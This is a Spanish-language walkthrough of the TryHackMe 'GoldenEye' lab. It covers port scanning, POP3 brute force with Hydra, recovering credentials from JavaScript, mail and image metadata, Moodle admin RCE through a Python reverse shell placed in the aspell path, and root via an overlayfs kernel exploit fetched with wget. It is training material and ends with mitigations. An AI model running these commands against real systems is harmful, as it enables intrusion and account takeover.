GoldenEye - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeLinuxEasy
GoldenEye - TryHackMe

📚 Esta publicación pertenece a la colección:

GoldenEye - TryHackMe Walkthrough

Bienvenido a mi writeup de GoldenEye de TryHackMe. Una room temática inspirada en la película de James Bond donde la cadena de ataque encadena muchas fases: credenciales ocultas en JavaScript, enumeración y bruteforce de correos electrónicos, credenciales enterradas en metadatos de una imagen y acceso a una plataforma Moodle para conseguir RCE. La escalada de privilegios llega por un exploit de kernel.

Room: GoldenEye
Dificultad: Easy
OS: Linux
Objetivo: Capturar la flag de root

🎯 Información del Objetivo

IP Target: 10.113.170.255

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Verifico que la máquina está activa:

ping -c1 10.113.170.255
  • -c1 → Envía solo 1 paquete ICMP y para
▶ output
64 bytes from 10.113.170.255: icmp_seq=1 ttl=62 time=49.8 ms

TTL de 62, lo que indica que posiblemente estoy ante una máquina Linux.

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows

Escaneo de Puertos

Comienzo con un escaneo amplio para descubrir puertos abiertos:

nmap -p- --open --min-rate 5000 -sS -n -Pn 10.113.170.255
  • -p- → Escanea los 65535 puertos
  • --open → Muestra solo puertos abiertos
  • --min-rate 5000 → Mínimo 5000 paquetes por segundo
  • -sS → SYN scan (stealth)
  • -n → Sin resolución DNS
  • -Pn → Sin ping previo, trata el host como activo
▶ output
PORT      STATE SERVICE
25/tcp    open  smtp
80/tcp    open  http
55006/tcp open  unknown
55007/tcp open  unknown

Cuatro puertos abiertos. Los puertos 55006 y 55007 están fuera de lo común.

Con los puertos identificados hago un escaneo más detallado:

nmap -p25,80,55006,55007 -sVC 10.113.170.255
  • -sC → Scripts NSE por defecto
  • -sV → Detección de versiones
▶ output
25/tcp    open  smtp     Postfix smtpd
80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
|_http-title: GoldenEye Primary Admin Server
55006/tcp open  ssl/pop3 Dovecot pop3d
55007/tcp open  pop3     Dovecot pop3d

El mapa de servicios queda así:

  • Puerto 25 → SMTP (Postfix)
  • Puerto 80 → HTTP (Apache 2.4.7)
  • Puerto 55006 → POP3 sobre SSL (Dovecot)
  • Puerto 55007 → POP3 sin SSL (Dovecot)

Identifico que hay servicios de correo expuestos en los puertos raros observados previamente. Esto es extraño, porque los puertos estándar para POP3 suelen ser 995 y 110 respectivamente.

Comienzo a enumerar por el HTTP.

📁 Fase 2: Enumeración Web

Página Principal y terminal.js

Al acceder al sitio veo un texto animado que se escribe en pantalla indicando que debo navegar a /sev-home/ para iniciar sesión.

Página principal del servidor GoldenEye — texto animado y ruta de login

Exploro pero no encuentro contenido relevante a simple vista en el HTML, ni robots.txt, ni cookies.

Reviso el código fuente de la página y encuentro que el texto lo genera un script llamado terminal.js.

Abro terminal.js directamente en http://10.113.170.255/terminal.js y encuentro un comentario muy interesante:

Contenido de terminal.js — comentario con la contraseña de Boris codificada

El comentario menciona que el usuario Boris debería de actualizar la contraseña y la muestra codificada.

La cadena de caracteres In... me recuerda a HTML, aunque no estoy del todo seguro.

Uso CyberChef con el módulo Magic para que lo identifique automáticamente:

CyberChef decodificando HTML entities y revelando la contraseña de Boris

Efectivamente, es HTML Entity encoding. La contraseña es InvincibleHack3r.

Ya tengo una contraseña de un posible usuario Boris. Recuerdo que la página principal mencionaba que hay un login en /sev-home/

Esta ruta la protege un login HTTP. Intento acceder con Boris:InvincibleHack3r — no funciona. Pruebo con el usuario en minúsculas, boris, y esta vez sí entro.

Panel /sev-home/ con acceso como usuario boris

Dentro del panel, el texto menciona dos cosas importantes:

  • Para ser Administrador del sistema hay que contactar por correo a un supervisor GNO.
  • El servicio POP3 está configurado en un puerto no estándar porque la "seguridad por oscuridad" es muy efectiva.

Esta seguridad es tan efectiva que ese puerto ya lo encontré en el escaneo inicial de nmap: 55006 y 55007.

Reviso el código fuente de esta página y encuentro otro comentario:

<!-- Qualified GoldenEye Network Operator Supervisors: Natalya, Boris -->

Los supervisores cualificados son Natalya y Boris. Teóricamente tengo las claves de Boris, pero no tengo ninguna de sus direcciones de correo.

📁 Fase 3: Enumeración de Correo

Enumeración SMTP

Me conecto al servidor SMTP en el puerto 25 para intentar enumerar usuarios:

nc 10.113.170.255 25
▶ output
220 ubuntu GoldentEye SMTP Electronic-Mail agent

El banner menciona el hostname ubuntu y GoldentEye — posiblemente el dominio sea goldeneye.
Intento verificar si los usuarios existen con el comando VRFY:

Enumeración SMTP con VRFY — confirmando usuarios natalya y boris

Ambos usuarios existen en el sistema. Intento enviar un correo a natalya@goldeneye, pero el servidor rechaza el relay — no puedo enviar correos externos desde aquí.

Cambio de enfoque: tengo POP3 accesible. Si bruteforzo las contraseñas, podría leer sus buzones directamente.

Bruteforce POP3 — Boris

hydra -l boris -P /usr/share/wordlists/fasttrack.txt 10.113.170.255 -s 55007 pop3 -f -t 64
  • -l boris → Usuario objetivo
  • -P → Diccionario de contraseñas
  • -s 55007 → Puerto no estándar
  • -f → Para en el primer éxito
  • -t 64 → 64 hilos
▶ output
[55007][pop3] host: 10.113.170.255   login: boris   password: secret1!

Hydra encuentra la contraseña de boris. Me conecto al buzón de boris por POP3 y leo sus correos:

nc 10.113.170.255 55007
USER boris
PASS secret1!

Estoy logeado como usuario Boris. Ahora puedo enumerar el total de correos con STAT y leer cada uno de ellos con RETR seguido de su ID.

STAT

Observo que hay 3 correos:

RETR 1
▶ output
+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
      by ubuntu (Postfix) with SMTP id D9E47454B1
      for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye

Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
. 
RETR 2
▶ output
+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
      by ubuntu (Postfix) with SMTP id D9E47454B1
      for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye

Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
. 
RETR 3
▶ output
+OK 921 octets
Return-Path: <alec@janus.boss>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
      by ubuntu (Postfix) with ESMTP id 4B9F4454B1
      for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss

Boris,

Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!

Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....

PS - Keep security tight or we will be compromised.
.

Los más relevantes revelan usuarios con sus dominios:

  • natalya@ubuntu
  • alec@janus.boss
  • root@127.0.0.1.goldeneye

El correo de alec@janus.boss menciona a una persona llamada Xenia y un sitio de entrenamiento. Anoto los datos y sigo.

Bruteforce POP3 — Natalya

Repito el bruteforce con Natalya:

hydra -l natalya -P /usr/share/wordlists/fasttrack.txt 10.113.170.255 -s 55007 pop3 -f -t 64
▶ output
[55007][pop3] host: 10.113.170.255   login: natalya   password: bird

También obtengo sus credenciales.
Leo los correos de Natalya al igual que hice con Boris. Esta vez hay unicamente 2 correos:

RETR 1
▶ output
+OK 631 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
      by ubuntu (Postfix) with ESMTP id D5EDA454B1
      for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: <20180425024542.D5EDA454B1@ubuntu>
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
.
RETR 2
▶ output
+OK 1048 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
      by ubuntu (Postfix) with SMTP id 17C96454B1
      for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia
password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.
.

El segundo es el más interesante — contiene credenciales para la plataforma de entrenamiento e instrucciones de cómo acceder.

Sigo las instrucciones actualizando /etc/hosts:

echo "10.113.170.255 severnaya-station.com" >> /etc/hosts

📁 Fase 4: Enumeración en Moodle

Acceso como Xenia

Al navegar a http://severnaya-station.com/gnocertdir/ encuentro una instancia Moodle.

Intento primero con las credenciales del correo para usuarios Boris y Natalya — ninguna funciona en Moodle.

Entro con las credenciales de xenia obtenidas en el correo hacia Natalya:

Plataforma Moodle — interior tras login como xenia

Exploro la plataforma y encuentro mensajes en los foros. Veo una participación del usuario Dr Doak (ID de usuario 5).

También identifico a Boris G (ID 3) y al Admin (ID 2).

Mensaje de Dr Doak en Moodle

El mensaje de Dr Doak hacia Xenia me revela su nombre de usuario.

Sabiendo su usuario, probablemente tenga también cuenta en el servidor de correo. Voy a intentar acceder a su buzón de correo haciendo bruteforce:

hydra -l doak -P /usr/share/wordlists/fasttrack.txt 10.113.170.255 -s 55007 pop3 -f -t 64
▶ output
[55007][pop3] host: 10.113.170.255   login: doak   password: goat

Obtengo acceso. Listo sus correos y encuentro que unicamente tiene uno. Es un mensaje de doak para sí mismo:

Email de doak con las credenciales de Moodle para dr_doak

Acceso como dr_doak

Me autentíco en Moodle con dr_doak:4England! y comienzo a explorar.

Exploro sus archivos privados y encuentro una carpeta llamada "for james" con un archivo s3cret.txt.

Me lo descargo y consulto su contenido:

Contenido del archivo s3cret.txt con la pista sobre for-007.jpg

Es un mensaje secreto para mi, donde me indican que hay algo valioso en /dir007key/for-007.jpg

Accedo a http://severnaya-station.com/dir007key/for-007.jpg y veo una imagen que no aporta mucho valor a primera vista.

Imagen for-007.jpg descargada del servidor

El archivo s3cret.txt menciona que las credenciales no están visibles como texto en la web — posiblemente estén ocultas dentro de la imagen.

Me descargo la imagen y consulto sus metadatos con exiftool:

exiftool -a -u -g1 for-007.jpg
  • -a → Muestra tags duplicados
  • -u → Muestra también tags desconocidos
  • -g1 → Agrupa por familia de metadatos

Metadatos de for-007.jpg — campo Image Description con texto en base64

Dentro del grupo IFD0 hay un campo Image Description con una cadena que parece base64.
Lo decodifico con CyberChef y obtengo: xWinter1995x!

Base64 descodificado con CyberChef

No sé de que son estas credenciales exactamente. Las pruebo en Moodle y funciona. Tengo acceso a la cuenta Administrador.

🚀 Fase 5: Explotación — RCE via Aspell en Moodle

Con acceso de administrador en Moodle, busco un vector de ejecución de código. La room sugiere explorar la configuración del corrector ortográfico aspell.

En Site Administration → Server → System Paths encuentro que el path del ejecutable de aspell es editable.

El valor actual es un one-liner de shell que ya había sido configurado por alguien. Lo sustituyo por una reverse shell en Python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("TU_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Reverse shell en Python que conecta de vuelta a nuestra máquina cuando aspell
es invocado

Configuración del path de aspell en la administración de Moodle

Después voy a Plugins → Text editors → TinyMCE y activo aspell como corrector ortográfico predeterminado.

TinyMCE con botón de spell check que dispara la reverse shell

Me pongo en escucha:

nc -nlvp 4444

Desde Moodle me voy a un foro e intento escribir con el editor de texto y hago clic en el botón de comprobar ortografía. El servidor invoca aspell, que ejecuta mi reverse shell.
Recibo la conexión.

Estoy dentro como www-data.

Realizo tratamiendo de la TTY:

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm

⬆️ Fase 6: Escalada de Privilegios — Exploit de Kernel

Comienzo enumerando el sistema para encontrar vías de escalada. Compruebo la versión del kernel:

uname -r
▶ output
3.13.0-32-generic

Kernel 3.13.0-32 — una versión muy antigua. Busco en exploit-db:

searchsploit linux kernel 3.13

Búsqueda de exploits locales para este kernel

Encuentro el exploit 37292 — una escalada de privilegios via overlayfs para kernels Linux < 3.19. Lo descargo:

searchsploit -m 37292.c
  • -m → Descarga el exploit en el directorio actual

Ahora necesito mover el script a la máquina victima y compilarlo. En mi máquina levanto un servidor HTTP para que la máquina víctima se conecte y lo descarge:

python3 -m http.server 8000

En la shell de la víctima descargo el exploit:

wget http://192.168.230.132:8000/37292.c

Una vez tengo el archivo, tengo que compilarlo para que sea ejecutbale. Intento compilarlo con gcc pero no está instalado en la máquina víctima.
Pruebo con la alternativa clang:

clang 37292.c -o exploit

Clang compila el archivo correctamente. Le doy permisos de ejecución y lo ejecuto:

chmod +x exploit && ./exploit

Aparece un error relacionado con gcc — el propio exploit llama a gcc internamente en su código pero recuerdo que la máquina no tiene esta herramienta instalada. Edito el archivo y sustituyo todas las referencias de gcc por clang.

Vuelvo a compilar y ejecutar.

Esta vez, de forma casi instantánea, se abre una bash como root.

🚩 Flag

Voy al directorio /root/ donde siempre suele estar la flag. A primera vista parece vacío, pero listo también archivos ocultos:

ls -la /root/

Y encuentro que hay un archivo oculto: .flag.txt.

Muestro su contenido y ahí tengo la flag.

🚩 Flag capturada!

📊 Resumen

Cadena de Ataque

Nmap → HTTP (80) + SMTP (25) + POP3 (55006/55007) → terminal.js → HTML entities → boris:InvincibleHack3r → /sev-home/ → fuente: Natalya y Boris son supervisores → SMTP VRFY → usuarios confirmados → Hydra POP3 boris → secret1! → emails boris → usuarios y dominios → Hydra POP3 natalya → bird → email con xenia:RCP90rulez! + URL → /etc/hosts → Moodle como xenia → Dr Doak (ID 5) → Hydra POP3 doak → goat → email dr_doak:4England! → Moodle dr_doak → s3cret.txt → /dir007key/for-007.jpg → exiftool → base64 → xWinter1995x! → Admin Moodle → aspell path → reverse shell → www-data → kernel 3.13.0-32 → overlayfs exploit (37292) → gcc→clang → root → /root/.flag.txt

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y servicios
  • netcat — Conexión manual a SMTP y POP3
  • Hydra — Bruteforce de credenciales POP3
  • CyberChef — Decodificación de HTML entities y base64
  • exiftool — Extracción de metadatos de imagen
  • searchsploit — Búsqueda y descarga del exploit de kernel

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
Contraseña codificada en JavaScript públicoCRÍTICANunca incluir credenciales en código del lado del cliente
SMTP con VRFY habilitado (enumeración de usuarios)MEDIADeshabilitar el comando VRFY en la configuración de Postfix
Contraseñas débiles en POP3 (secret1!, bird, goat)ALTAPolítica de contraseñas robustas y autenticación multifactor
Credenciales transmitidas en texto plano por emailALTANunca enviar credenciales por correo; usar canales seguros y cifrados
Credenciales de admin ocultas en metadatos de imagenALTALimpiar metadatos de archivos antes de publicarlos; no almacenar credenciales en imágenes
Path de aspell editable por admin en MoodleALTAActualizar Moodle a versión moderna; limitar qué rutas de sistema pueden configurarse
Kernel 3.13.0-32 sin parchear (overlayfs LPE)CRÍTICAActualizar el kernel del sistema operativo a una versión con soporte activo

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.